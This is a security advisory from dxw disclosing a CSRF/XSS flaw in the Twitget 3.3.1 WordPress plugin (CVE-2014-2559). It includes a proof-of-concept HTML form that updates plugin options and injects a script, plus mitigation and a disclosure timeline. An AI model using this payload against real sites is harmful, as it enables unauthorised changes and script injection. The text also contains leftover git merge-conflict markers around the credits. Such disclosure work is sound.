[FD] CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin)

[dxw Security <security@xxxxxxx>]

Details
================
Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
================
If a logged-in administrator visits a specially crafted page, options can be 
updated (CSRF) without their consent, and some of those options are output 
unescaped into the form (XSS). In this example the XSS occurs at line 755 in 
twitget.php. The nonce-checking should have occurred somewhere around line 661 
in the same file.

Proof of concept
================
<form 
action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\";
 method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" 
value=\"&quot;>&lt;script>alert(\'dxw\')&lt;/script>\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.3.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@xxxxxxx to acknowledge this report if you 
received it via a third party (for example, plugins@xxxxxxxxxxxxx) as they 
generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this 
report with 14 days.

Timeline
================

2013-07-30: Discovered
2014-03-18: Reported to plugins@xxxxxxxxxxxxx
2014-04-09: Author reports fixed in version 3.3.3.

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information.
          


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